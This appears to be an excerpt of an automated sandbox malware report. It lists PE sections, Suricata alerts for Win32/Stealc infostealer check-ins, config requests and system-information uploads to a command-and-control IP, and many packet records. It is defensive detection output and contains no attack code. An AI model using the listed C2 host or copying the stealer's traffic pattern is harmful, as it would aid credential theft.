tpxrolms	0x725000	0x1000	0x400	bc98b8f85e1e4c2711e6a8965c29b2b9	False	0.7939453125	data	6.219053800721829	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x726000	0x3000	0x2200	61a580d9214d90995a6fe643440e45a6	False	0.05859375	DOS executable (COM)	0.7113021274454873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T06:59:01.543883+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T06:59:01.900072+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T06:59:02.003879+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-29T06:59:02.280088+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T06:59:02.288507+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-29T06:59:03.402743+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T06:59:04.081814+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T06:59:35.882766+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:37.153425+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:37.934918+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:38.621456+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:40.282952+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:40.718198+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49888	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 06:58:53.833926916 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 06:58:53.833926916 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 06:58:53.927762032 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 06:59:00.333162069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:00.338700056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:00.338787079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:00.338948011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:00.344290018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:01.244549036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:01.244618893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:01.250622988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:01.256012917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:01.543787003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:01.543883085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:01.617501974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:01.623027086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:01.899965048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:01.900072098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:01.900120020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:01.900167942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:01.997697115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.003879070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.279994965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280052900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280090094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280087948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.280122042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.280139923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280144930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.280174971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280185938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.280210018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280217886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.280242920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280261993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.280282021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.280282021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.280323982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.282892942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.288506985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.565104961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.565229893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.600471020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.600563049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:02.605828047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.606003046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.606051922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.606118917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.606133938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.606147051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:02.606195927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:03.402636051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:03.402743101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:03.443329096 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 06:59:03.447289944 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 06:59:03.537067890 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 06:59:03.798476934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:03.807450056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081708908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081734896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081769943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081790924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081808090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081814051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.081823111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081839085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.081856012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.081902981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.082581043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.082597017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.082612038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.082647085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.082683086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.083018064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.083067894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.083074093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.083092928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.083108902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.083115101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.083141088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.083162069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.239648104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.239680052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.239696980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.239712000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.239728928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.239814997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.239861012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.239988089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240003109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240020037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240040064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.240042925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240060091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240075111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.240155935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.240868092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240916967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.240919113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240941048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240957975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240961075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.240973949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.240983963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.241003036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.241024971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.242069006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.242121935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.242137909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.242158890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.242172003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.242192984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.242201090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.242229939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.242235899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.242279053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.242628098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.242683887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.355432034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.355473042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.355587006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.355622053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.395365953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.395432949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.395490885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.395525932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.395543098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.395544052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.395582914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.395607948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.395616055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.395646095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.395651102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.395659924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.395694971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396040916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396094084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396101952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396146059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396155119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396181107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396214962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396217108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396239996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396265984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396789074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396838903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396850109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396872997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396883965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396905899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396915913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.396939993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.396960974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397048950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.397083998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397103071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397619963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.397674084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.397687912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397707939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.397738934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397758961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.397769928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397793055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.397808075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397833109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.397850990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.397886992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.398458958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.398509979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.398544073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.398562908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.398576975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.398598909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.398612022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.398649931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.398657084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.398683071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.398708105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.399336100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.399384975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.399391890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.399420023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.399434090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.399452925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.399467945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.399487019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.399498940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.399524927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.399540901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.399569988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.400183916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.400234938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.400243998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.400273085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.400293112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.400305986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.400325060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.400341034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.400351048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.400378942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.400415897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.400446892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.401005030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.401058912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.472285986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.472332954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.472364902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.472409964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.512178898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.512198925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.512224913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.512238026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.512275934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552182913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552223921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552253008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552258968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552279949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552284956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552301884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552304029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552323103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552324057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552342892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552342892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552367926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552373886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552386045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552393913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552411079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552412987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552431107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552452087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552831888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552869081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552881956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552922964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552930117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552963972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.552980900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.552999020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553018093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553029060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553036928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553056002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553239107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553276062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553282022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553298950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553320885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553333998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553347111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553369999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553385019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553390980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553407907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553411007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553428888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553446054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553819895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553838015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553858995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553862095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553884029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553896904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553926945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553951025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553966045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.553970098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553987980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.553987980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554007053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554018021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554023981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554037094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554055929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554055929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554076910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554088116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554759979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554778099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554797888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554802895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554819107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554835081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554836988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554851055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554869890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554872036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554883003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554897070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554908991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554917097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554934978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554939032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.554945946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.554976940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.589252949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.589272976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.589342117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.589376926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.628911972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.628983021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:04.629003048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:04.629030943 CET	49704	80	192.168.2.5	185.215.113.206
